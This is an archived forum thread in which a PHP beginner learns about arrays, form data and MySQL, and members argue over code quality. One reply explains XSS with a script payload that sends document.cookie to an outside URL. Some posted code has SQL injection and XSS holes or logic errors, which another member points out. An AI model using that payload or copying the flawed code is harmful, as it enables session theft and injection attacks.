PDA

View Full Version : Noob PHP question!



Fehm
05-03-2009, 07:53 PM
Hey, A few weeks back i kept coming here to ask for help when i was playing around with a PHP thingy i was doing, now i want to delve even more into PHP, and although ive looked around i cant find anything that will tell me what an array, actually is. They give you examples, but i'd be grateful if anyone can help me on how and when they are used :)

Sorry if its noobish, and dont forget, im only learning :)
thanks for any help (rep :))

Excellent2
05-03-2009, 08:20 PM
http://uk.php.net/array - All you need to know about arrays :)

Fehm
05-03-2009, 09:47 PM
ta babes :)

Robbie
05-03-2009, 09:54 PM
<?php
$robbie = array("awesome","amazing","godly","fantastic","superb","wonderful");

foreach($robbie as $value) {
echo 'Robbie is ' . $value . ' and thats a fact';
}

?>

Fehm
05-03-2009, 10:07 PM
<?php
$robbie = array("awesome","amazing","godly","fantastic","superb","wonderful");

foreach($robbie as $value) {
echo 'Robbie is ' . $value . ' and thats a fact';
}

?>



Can you explain?

Does that mean like it picks one randomely and echo's Robbie is (either) awesome or amazing etc..

Robbie
05-03-2009, 10:11 PM
That will show them all.

timROGERS
05-03-2009, 10:13 PM
Arrays are a object in PHP (and most other languages) which store multiple values. You can store these values and and read them in a variety of ways. In Robbie's example, he uses the foreach structure - this goes through each item in the array systematically, and does something with each value.

Fehm
05-03-2009, 10:24 PM
Thanks for the help :) Still dont get it but i appreciate the help and i guess the more i read about it, the more i'll learn :) Picked up some basics though =D

Trinity
05-03-2009, 10:51 PM
http://devzone.zend.com/node/view/id/635

Fehm
05-03-2009, 10:55 PM
I actualthink i get the basics of it now :)
Thanks alot, that post above helped alot lol :)

Trinity
05-03-2009, 11:24 PM
I actualthink i get the basics of it now :)
Thanks alot, that post above helped alot lol :)

You're welcome :)
The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627

Fehm
06-03-2009, 09:44 AM
You're welcome :)
The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627


Thanks! :)

Dentafrice
06-03-2009, 02:03 PM
I'll try to explain this in my own words.

An array is a structured container for information. Imagine it like a database table.

If you compare it to a variable, variables can only store one thing. It can store only one thing.. and you call it $blah.

Arrays though, can store multiple things, structured inside of it's system.

Imagine a variable like a file, it can hold contents.. but an Array like an entire file system.. it can hold folders, files, etc.

Each array has items inside it, they are structured with a key (imagine this like an ID), and a value.

Each key has a value, they can also be null (blank).

http://img.skitch.com/20090306-k8bmt2isruxwqt62gqp7pmd82u.jpg

The key on the left side is what you call from PHP.



$users = array("caleb", "obulus", "sierk");

echo $users[0]; // would display: caleb
echo $users[1]; // would display: obulus


But keys do not have to be numbers.. imagine you have an array like this.

You have the key to be the user's username, and the value to be their full name.

http://img.skitch.com/20090306-m4tuj9u3fr5yd52asw9jayud8d.jpg

So in this case, if we have this array:



<?php
$users = array("caleb" => "caleb mingle", "obulus" => "obulus slobulus", "sierk" => "sierk rosema");

/* If we do.. */
echo $users[0]; // it will not display anything.. because we do not have a 0 key.

/* If we do.. */
echo $users["caleb"]; // it will display: caleb mingle
echo $users["obulus"]; // it will display: obulus slobulus
?>


But arrays can get more complicated then this.. next we have multidimensional arrays.. these add even more structure to them..

http://img.skitch.com/20090306-ttxkagcyhttdajkfcspybp3g7n.jpg


<?php
/* lets setup the array.. */

$users = array("caleb" => array("username" => "caleb", "dob" => "6-26-89", "email" => "[email protected]", "homepage" => "http://dentafrice.com"), "sierk" => array("username" => "sierk", "email" => "[email protected]"));

// notice we have arrays.. inside of arrays.. but how do we access this?

// to get caleb's homepage.. we do this:

echo $users["caleb"]["homepage"]; // this accesses homepage, inside of caleb.

echo $users["sierk"]["homepage"]; // this will display nothing, it's not set.

echo $users["caleb"]; // will echo nothing, it has no value.
?>

Hopefully this has helped a little bit :)

Fehm
06-03-2009, 02:11 PM
That was amazing,

Just one quick question,

I see how they are formed and used but in which sort of php application might you see them, and can you put vars in arrays?

Thanks, Rep given! :)

Dentafrice
06-03-2009, 02:22 PM
Yeah, you can put variables in to arrays.



$username = "Caleb";
$email = "[email protected]";

$users = array("username" => $username, "email" => $email);


mysql_fetch_array() pulls results from the database in an array.

You can use them for multiple things, I can't really think of any specifics that you could understand other then what I showed you.

It's basically to structure and store data.

$_POST is an array..

$_POST["blah"], that's an array.

Array $_POST
"blah" - hello

Hello is the value posted, blah is the field from the form. That's an example ;P

Fehm
06-03-2009, 02:33 PM
Oh! So when a user submits data in a form, you can grab the information and displt from the form before, so say like a form which has name, email and comment, you could in the follow up page display ''Thanks Callum for your comment'' and the Callum would obviously have come from the form input before?

Ty for the help again =D

Dentafrice
06-03-2009, 02:34 PM
Yep, but you would need to clean it before displaying it to prevent XSS.

Fehm
06-03-2009, 02:40 PM
Whats XSS?

tehe, i feel like such a noooob asking all these questions ^^ tehe

Dentafrice
06-03-2009, 02:51 PM
Cross Site Scripting.

Meaning someone could type something in an input, or a GET, and you display it on a page without cleaning it.

Someone could type <script type="text/javascript">window.location = "http://mysite.com/blah.php?data=" + document.cookie;</script> and it would redirect them to that stealing a cookie.

They could also mess up the page through XSS, and change things.

Moh
06-03-2009, 03:16 PM
If you going to be working with databases, then another must know will be MySQL :)

http://uk.php.net/mysql

You only need to know three functions for basics.

mysql_connect - http://uk.php.net/manual/en/function.mysql-connect.php

mysql_query - http://uk.php.net/manual/en/function.mysql-query.php

mysql_fetch_array - http://uk.php.net/manual/en/function.mysql-fetch-array.php

Fehm
06-03-2009, 03:43 PM
I know very basci MySQL, lol :P Im ok with PHPmyAdmin and the likes :P and Google is now my best friend tehe :)

Can someone help me with something though, (MySQL related)
If i was to make a user system, a very small one just to test me own abilities.. and learn new things

How would i display all the data in one column of a Sql database,
Say if i had a database called users, and i wanted a page to be all the users usernames, what would i have to put?
Would it be like

$_GET[FROM ""] lol ive tried googling, came up with nothing

Thanks for the info above btw :) ill rep if i can =D!

Moh
06-03-2009, 03:53 PM
I know very basci MySQL, lol :P Im ok with PHPmyAdmin and the likes :P and Google is now my best friend tehe :)

Can someone help me with something though, (MySQL related)
If i was to make a user system, a very small one just to test me own abilities.. and learn new things

How would i display all the data in one column of a Sql database,
Say if i had a database called users, and i wanted a page to be all the users usernames, what would i have to put?
Would it be like

$_GET[FROM ""] lol ive tried googling, came up with nothing

Thanks for the info above btw :) ill rep if i can =D!


<?php
include("connector.php"); // This is the MySQL connector file

$sql = mysql_query("SELECT * FROM `users` WHERE `id` = '{$_GET["id"]}'"); // Selects all the data from the database. Use filename.php?id=*ID HERE* (e.g. filename.php?id=1)

if(mysql_num_array($sql) == 0) // Checks if the ID exists
{
echo("ID does not exist!");
}
else while($fetch = mysql_fetch_array($sql)) // ID does exisit, so lets fetch the data. The fetch creates an array like the previous posts :)
{
$username = $fetch["username"]; // username is the field name in the table
$email = $fetch["email"]; // email is the field name in the table
$name = $fetch["name"]; // name is the field name in the table
$gender = $fetch["gender"]; // gender is the field name in the table

echo("<strong>Username:</strong>$username (id: {$_GET["id"]})<br />
<strong>Email:</strong>$email <br />
<strong>Name:</strong>$name <br />
<strong>Gender:</strong>$gender <br />");
}
?>

Fehm
06-03-2009, 04:32 PM
Thanks alot for that :) OInly problem is, i dont like it when people give me the code, i like to type it outmyself so it'll all go in .

Thanks alot though, and it has helped soo much :)

Dentafrice
06-03-2009, 06:01 PM
<?php
include("connector.php"); // This is the MySQL connector file

$sql = mysql_query("SELECT * FROM `users` WHERE `id` = '{$_GET["id"]}'"); // Selects all the data from the database. Use filename.php?id=*ID HERE* (e.g. filename.php?id=1)

if(mysql_num_array($sql) == 0) // Checks if the ID exists
{
echo("ID does not exist!");
}
else while($fetch = mysql_fetch_array($sql)) // ID does exisit, so lets fetch the data. The fetch creates an array like the previous posts :)
{
$username = $fetch["username"]; // username is the field name in the table
$email = $fetch["email"]; // email is the field name in the table
$name = $fetch["name"]; // name is the field name in the table
$gender = $fetch["gender"]; // gender is the field name in the table

echo("<strong>Username:</strong>$username (id: {$_GET["id"]})<br />
<strong>Email:</strong>$email <br />
<strong>Name:</strong>$name <br />
<strong>Gender:</strong>$gender <br />");
}
?>

I've been commanded to crucify you for your horrible, I mean horrible code.

You're so inconsistent, and you're trying to help someone!



include("connector.php"); // This is the MySQL connector file


include is not a function/method, why are you using parenthesis? it's a language construct.

include "bla.php";


$sql = mysql_query("SELECT * FROM `users` WHERE `id` = '{$_GET["id"]}'");

Can you say SQL Injection??

Why don't you define it and clean it first! before just throwing it in the query..

You're helping him with MySQL right?

WHAT THE HELL IS THIS? mysql_num_array

WHAT THE HELL IS THAT? mysql_num_array

I mean seriously.. mysql_num_rows..!



echo("ID does not exist!");


Echo is a language construct! Not a method/function.. no parenthesis.



else while($fetch = mysql_fetch_array($sql)) // ID does exisit, so lets fetch the data. The fetch creates an array like the previous posts :)
{


Oh that's real valid... my god.

You have XSS vulns, SQL Injection, wrong function names, wrong syntax, and you're attempting to help him?!

My god kid, just don't attempt anymore.. I can't be bothered to go through your post more it's so damn awful.

Use heredoc for that hideous HTML too.. gah.

Fehm
06-03-2009, 06:10 PM
:L so. i wont be using that post to help me (Y)

xD!

Moh
07-03-2009, 12:59 AM
I've been commanded to crucify you for your horrible, I mean horrible code.

You're so inconsistent, and you're trying to help someone!



include("connector.php"); // This is the MySQL connector file
include is not a function/method, why are you using parenthesis? it's a language construct.

include "bla.php";


$sql = mysql_query("SELECT * FROM `users` WHERE `id` = '{$_GET["id"]}'");Can you say SQL Injection??

Why don't you define it and clean it first! before just throwing it in the query..

You're helping him with MySQL right?

WHAT THE HELL IS THIS? mysql_num_array

WHAT THE HELL IS THAT? mysql_num_array

I mean seriously.. mysql_num_rows..!



echo("ID does not exist!");
Echo is a language construct! Not a method/function.. no parenthesis.



else while($fetch = mysql_fetch_array($sql)) // ID does exisit, so lets fetch the data. The fetch creates an array like the previous posts :)
{
Oh that's real valid... my god.

You have XSS vulns, SQL Injection, wrong function names, wrong syntax, and you're attempting to help him?!

My god kid, just don't attempt anymore.. I can't be bothered to go through your post more it's so damn awful.

Use heredoc for that hideous HTML too.. gah.

*REMOVED*

Edit by Robbie! (Forum Moderator): Please do not be rude to other members.

Dentafrice
07-03-2009, 01:09 AM
Yes, and you have always been a great coder, hypocritical ******* :eusa_whis
Thanks for the -REP! it really meant a lot.

The point I'm trying to make here, is if you're going to help someone new, at least provide correct code to make yourself not look on the same level.

It's sorta like the saying, "the blind leading the blind".. well that's what happened here.

You provided ****** coding to someone just starting out, how do you think that's going to help him? He's going to get stupid errors and then come back asking why he got them.

And it all comes down to bad practices and bad advice from someone who doesn't have jack idea what they are talking about./

Moh
07-03-2009, 01:20 AM
Thanks for the -REP! it really meant a lot.

The point I'm trying to make here, is if you're going to help someone new, at least provide correct code to make yourself not look on the same level.

It's sorta like the saying, "the blind leading the blind".. well that's what happened here.

You provided ****** coding to someone just starting out, how do you think that's going to help him? He's going to get stupid errors and then come back asking why he got them.

And it all comes down to bad practices and bad advice from someone who doesn't have jack idea what they are talking about./
Well in future, don't talk down to people. Because, I get along with most people, but the one type of people I seriously hate, are people who talk down to others. Thats the reason I gave you -rep, because you lost my respect.

All because I made one mistake by putting "array" instead of "rows".

Dentafrice
07-03-2009, 01:23 AM
No, the code was awful in general, and you're going to get him started on a pathway he doesn't need to be in, and neither do you. I outlined what was wrong.

I'm talking down to you, because you posted crappy code when you were in a position to provide "correct" and "helpful" device, which you didn't.. and until you do, you'll continue to be talked down upon.

Your respect doesn't really matter to me.

Agnostic Bear
07-03-2009, 01:54 AM
<?php
function checkUser( $id ) {

# Are we using a valid ID?
if( ctype_digit( $id ) === false ) {
# No, we're not, lets return an error message / code / secret nazi encryption string.
return 'badid';
}

# Ok we're using a valid id (we didn't catch in the if)

# Lets run a query to find our guys. note how we didn't have to do anything to id as we checked it
# for a type (a digit), so if it's not the type we want it'll never get here and if it does, it's clean anyway.
$query = mysql_query( 'SELECT * FROM `users` WHERE `id` = \'' . $id . '\'' );

# Count the rows returned, did we get any?
if( mysql_num_rows( $query ) === 0 ) {
# No, we didn't, lets return an error message / code / bill bailey musical performance
return 'nouser';
}

# Loop through the results (the proper way)
while( false !== ( $fetch = mysql_fetch_assoc( $query ) ) ) {

# Add the information to the end of the array, and then continue.
$buildArray[] = array(
'username' => $fetch[ 'username' ],
'email' => $fetch[ 'email' ],
'name' => $fetch[ 'name' ],
'gender' => $fetch[ 'gender' ]
);

}

# We've done it (what?), return the array and lets get out of here.
return $buildArray;
}

# Setup a heredoc to contain our HTML.
$templateNoPost = <<<HTML
<form method="post" action="">
Enter a user id to search for:<br />
<input type="text" name="id" />
<input type="submit" name="submit" value="Do it" />
</form>
HTML;

# And a heredoc to contain our processed form HTML.
$templatePost = <<<HTML
<table>
<tr>
<td>Name</td>
<td>Username</td>
<td>Email</td>
<td>Gender</td>
</tr>

{html}

</table>
HTML;

# Do we have an id? (you could put an id checker here, but I decided not to. why? z.)
if( empty( $_POST[ 'id' ] ) === false ) {

# We have no id, lets just send out the form and get on with it.
echo $templateNoPost;

} else {

# Require the MySQL connection file (do magic here) only once.
require_once( 'mysql.php' );

# Run the checkUser function, get any information that we need from it.
$users = checkUser( $id );

# Did it come back as an array?
if( !is_array( $users ) ) {
# No, it didn't, lets handle it.

# Is our id bad?
if( $users === 'badid' ) {
# Yes, set the status variable for later
$htmlStatus = 'Bad user id';
}

# No, but is it a bad user?
elseif( $users === 'nouser' ) {
# Yes, set the status variable for later
$htmlStatus = 'No user in the database with that id.';
}
} else {
# It did, lets loop and build!

# Count the amount of keys (amount of users, basically) in the array
$count = count( $users );

# Shut PHP strict errors up (not setting a variable before adding to it)
$buildHtml = '';

# Loop through the amount defined in $count
for( $i = 0; $i < $count; $i++ ) {

# Add the HTML to the variable using .=
$buildHtml .= '
<tr>
<td>' . $users[ $i ][ 'name' ] /* Pull out the username of the "$i"th array (decided by the loop we're on) */ . '</td>
<td>' . $users[ $i ][ 'username' ] . '</td>
<td>' . $users[ $i ][ 'email' ] . '</td>
<td>' . $users[ $i ][ 'gender' ] . '</td>
</tr>

';
}

# Replace "{html}" with the HTML variable we just build using "$buildHtml .="
$templatePost = str_ireplace( '{html}', $buildHtml, $templatePost );

# And send it out in the wild
echo $templatePost;
}
}
?>


that covers arrays, queries, looping of different types, data manipulation, data handling and form processing

eat me.

Moh
07-03-2009, 11:55 AM
No, the code was awful in general, and you're going to get him started on a pathway he doesn't need to be in, and neither do you. I outlined what was wrong.

I'm talking down to you, because you posted crappy code when you were in a position to provide "correct" and "helpful" device, which you didn't.. and until you do, you'll continue to be talked down upon.

Your respect doesn't really matter to me.
Pretty much sums up which type of person you are :)

I mean, look at housekeeping.. that was aload of ****, yet you think you can bash me?

Wait, now I don't know what type of person you are... because there's several you could be.

Fehm
07-03-2009, 12:03 PM
Ill PM a mod to close this thread,
A final thank you?

So many people have helped me, their advice may not have been amazing, but i guess that theyve taken the time out of their daily lives to help me, and i think you all very much. Ill be back in 10 mins with a new question :L

Sameer!
07-03-2009, 12:24 PM
Get PHP 5 For Dummies (book). I learnt PHP from it.

Fehm
07-03-2009, 12:46 PM
I wsas thinking of getting it lol :P And the MySql one lol xD
tehe but wasnt in WhSmith or Waterstones soooo ill just keep hunting :L

Dentafrice
07-03-2009, 01:35 PM
Get PHP 5 For Dummies (book). I learnt PHP from it.
That's really not a good book to learn by.

Fehm
07-03-2009, 04:54 PM
:L anyone wanna give me info that wont be contradicted in the next post?

Ive forgot what the question was ya know :L lol

Stefy09
15-03-2009, 04:25 PM
ive been following video tutorials on php that I downloaded which have really helped me so here's the link to the arrays chapter (my webserver wont always be up though so download asap if you still need help on them)

http://stephenz.servebeer.com/arrays/phparrays.rar (http://81.105.25.140/arrays/phparrays.rar)

Want to hide these adverts? Register an account for free!